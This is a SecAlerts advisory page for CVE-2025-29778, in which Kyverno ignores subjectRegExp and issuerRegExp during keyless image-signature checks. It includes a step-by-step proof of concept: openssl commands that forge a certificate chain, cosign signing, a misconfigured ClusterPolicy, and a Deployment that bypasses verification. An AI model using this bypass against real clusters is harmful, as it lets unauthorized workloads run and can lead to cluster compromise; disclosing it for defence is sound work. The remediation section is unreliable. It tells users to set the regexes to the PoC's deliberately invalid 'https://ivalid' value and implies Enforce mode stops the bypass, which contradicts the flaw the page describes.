CVE-2025-29778: Kyverno ignores subjectRegExp and IssuerRegExp

Published Mar 24, 2025
·
Updated

Summary Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate.

Details Kyverno checks only subject and issuer fields when verifying an artifact's signature: https://github.com/Mohdcode/kyverno/blob/373f942ea9fa8b63140d0eb0e101b9a5f71033f3/pkg/cosign/cosign.go#L537. While there are subjectRegExp and issuerRegExp fields that can also be used for the defining expected subject and issue values. If the last ones are used then their values are not taken in count and there is no actually restriction for the certificate that was used for the image sign.

PoC

For the successful exploitation attacker needs: - Private key of any certificate in the certificate chain that trusted by cosign. It can be certificate that signed by company's self-signed Root CA if they are using their own PKI. - Access to container registry to push artifacts images - Availability to deploy malicious artifacts to the kubernetes cluster

1. Generate certificate that will be used for the image signing with the oidcissuer url. That can be done with the Fulcio or manually by using openssl

Create self-signed RootCA openssl req -x509 -newkey rsa:4096 -keyout root-ca-key.pem -sha256 -noenc -days 9999 -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Root Certificate Authority" -out root-ca.pem

Create request for the intermediate certificate openssl req -noenc -newkey rsa:4096 -keyout intermediate-ca-key.pem -addext "subjectKeyIdentifier = hash" -addext "keyUsage = critical,keyCertSign" -addext "basicConstraints = critical,CA:TRUE,pathlen:2" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=Intermediate Certificate Authority" -out intermediate-ca.csr

Issue intermediate cert with RootCA openssl x509 -req -days 9999 -sha256 -in intermediate-ca.csr -CA root-ca.pem -CAkey root-ca-key.pem -copyextensions copy -out intermediate-ca.pem

OID11 is the hexadecimal representation of the oidcissuer url OID11=$(echo -n "https://me.net" | xxd -p -u)

Create request for the leaf certificate openssl req -noenc -newkey rsa:4096 -keyout my-key.pem -addext "subjectKeyIdentifier = hash" -addext "basicConstraints = critical,CA:FALSE" -addext "keyUsage = critical,digitalSignature" -addext "subjectAltName = email:me@me.net" -addext "1.3.6.1.4.1.57264.1.1 = DER:${OID11}" -addext "1.3.6.1.4.1.57264.1.8 = ASN1:UTF8String:https://me.net" -subj "/C=AA/L=Location/O=IT/OU=Security/CN=My Cosign Certificate" -out my-cert.csr

Issue leaf cert with Intermediate CA openssl x509 -req -in my-cert.csr -CA intermediate-ca.pem -CAkey intermediate-ca-key.pem -copyextensions copy -days 9999 -sha256 -out my-cert.pem

Generate certificates chain cat intermediate-ca.pem root-ca.pem > cert-chain.pem

2. Build and push container image 2. Import key and sign the image with the generated certificate COSIGNPASSWORD="" cosign import-key-pair --key my-key.pem --output-key-prefix=import-my-key COSIGNPASSWORD="" cosign sign $IMAGEWITHHASH --tlog-upload=false --cert my-cert.pem --cert-chain cert-chain.pem --key import-my-key.key

3. Add ClusterPolicy for the Kyverno with the wrong subject and issuer regexp. Adding (Fulcio) Root CA as secret and using it in policy is optional only if cosign cannot trust it: apiVersion: kyverno.io/v1 kind: ClusterPolicy metadata: name: check-image-keyless spec: validationFailureAction: Enforce webhookTimeoutSeconds: 30 rules: - name: check-image-keyless match: any: - resources: kinds: - Pod context: - name: encodedCert apiCall: urlPath: "/api/v1/namespaces/kyverno/secrets/fulcio-ca" method: GET jmesPath: "data.\"fulcio-ca.pem\"" - name: root variable: jmesPath: "base64decode(encodedCert)" verifyImages: - imageReferences: - "<IMAGEREGEXP>" attestors: - entries: - keyless: subjectRegExp: https://ivalid issuerRegExp: https://ivalid roots: "{{root}}" rekor: url: <URLTOREKOR> pubkey: |- -----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY----- ctlog: pubkey: |- -----BEGIN PUBLIC KEY----- ... -----END PUBLIC KEY-----

4. Deploy previously signed image apiVersion: apps/v1 kind: Deployment metadata: labels: app: image-sign name: image-sign namespace: default spec: replicas: 2 selector: matchLabels: app: image-sign strategy: {} template: metadata: annotations: labels: app: image-sign spec: containers: - image: <YOURIMAGE> imagePullPolicy: Always name: image-signing ports: - containerPort: 5000 resources: requests: memory: 500Mi cpu: 0.1 limits: memory: 2Gi cpu: 0.2 restartPolicy: Always status: {}

5. The deployment with pods will be create successfully due to not checking subjectRegExp and issuerRegExp fields validation

Impact Deploying unauthorized kubernetes resources that can lead to full compromise of kubernetes cluster

P.S. Problem was discovered by me when testing image sign verifying with keyless signing: https://kubernetes.slack.com/archives/CLGR9BJU9/p1740136401365279?threadts=1740136401.365279&cid=CLGR9BJU9. Then it was verified and fixed by Mohcode. But i think it should be registered as security problem such as it allows to bypass part of the verification mechanism and Kyverno users should be aware of it.

Other sources

Kyverno is a policy engine designed for cloud native platform engineering teams. Prior to version 1.14.0-alpha.1, Kyverno ignores subjectRegExp and IssuerRegExp while verifying artifact's sign with keyless mode. It allows the attacker to deploy kubernetes resources with the artifacts that were signed by unexpected certificate. Deploying these unauthorized kubernetes resources can lead to full compromise of kubernetes cluster. Version 1.14.0-alpha.1 contains a patch for the issue.

MITRE

Affected Software

2 affected componentsFixes available
go/github.com/kyverno/kyverno>=1.13.0<1.13.5
1.14.0-alpha.1
Kyverno Kyverno>=1.13.0<1.13.6

Remediation

Recommended actions to resolve this vulnerability, in priority order.

  1. Upgrade

    Upgrade go/github.com/kyverno/kyverno to a version that resolves this vulnerability.

    Fixed in 1.14.0-alpha.1
  2. Upgrade

    Upgrade to a fixed release to a version that resolves this vulnerability.

    Fixed in 1.14.0-alpha.1Patch https://github.com/kyverno/kyverno/pull/12237
  3. Configuration

    In the Kyverno ClusterPolicy that verifies keyless image signatures, set issuerRegExp to the expected issuer value (example in material: issuerRegExp: https://ivalid).

    Kyverno (ClusterPolicy for image signing - keyless/fulcio verification) issuerRegExp = https://ivalid
  4. Configuration

    In the Kyverno ClusterPolicy that verifies keyless image signatures, set subjectRegExp to the expected subject value (example in material: subjectRegExp: https://ivalid).

    Kyverno (ClusterPolicy for image signing - keyless/fulcio verification) subjectRegExp = https://ivalid
  5. Configuration

    Ensure the Kyverno ClusterPolicy uses validationFailureAction: Enforce so deployments using images with unexpected signatures are blocked.

    Kyverno (ClusterPolicy image-sign) validationFailureAction = Enforce

Event History

Mar 24, 2025
CVE Published
via MITRE·04:38 PM
Data Sourced
via MITRE·04:38 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
DescriptionSeverityWeakness
Data Sourced
via NVD·05:15 PM
RemedyAffected Software
Advisory Published
via GitHub·07:07 PM

Frequently Asked Questions

1

What is the severity of CVE-2025-29778?

CVE-2025-29778 is considered a critical vulnerability due to its potential to allow unauthorized deployments of Kubernetes resources.

2

How do I fix CVE-2025-29778?

To fix CVE-2025-29778, upgrade to Kyverno version 1.14.0-alpha.1 or later.

3

What does CVE-2025-29778 affect?

CVE-2025-29778 affects the Kyverno policy engine when operating in keyless mode.

4

What issue does CVE-2025-29778 expose?

CVE-2025-29778 exposes a flaw where Kyverno ignores subjectRegExp and IssuerRegExp during artifact signature verification.

5

Who is affected by CVE-2025-29778?

Users of Kyverno versions prior to 1.14.0-alpha.1 are affected by CVE-2025-29778.

Contact

SecAlerts Pty Ltd.
132 Wickham Terrace
Fortitude Valley,
QLD 4006, Australia
info@secalerts.co
By using SecAlerts services, you agree to our services end-user license agreement. This website is safeguarded by reCAPTCHA and governed by the Google Privacy Policy and Terms of Service. All names, logos, and brands of products are owned by their respective owners, and any usage of these names, logos, and brands for identification purposes only does not imply endorsement. If you possess any content that requires removal, please get in touch with us.
© 2026 SecAlerts Pty Ltd.
ABN: 70 645 966 203, ACN: 645 966 203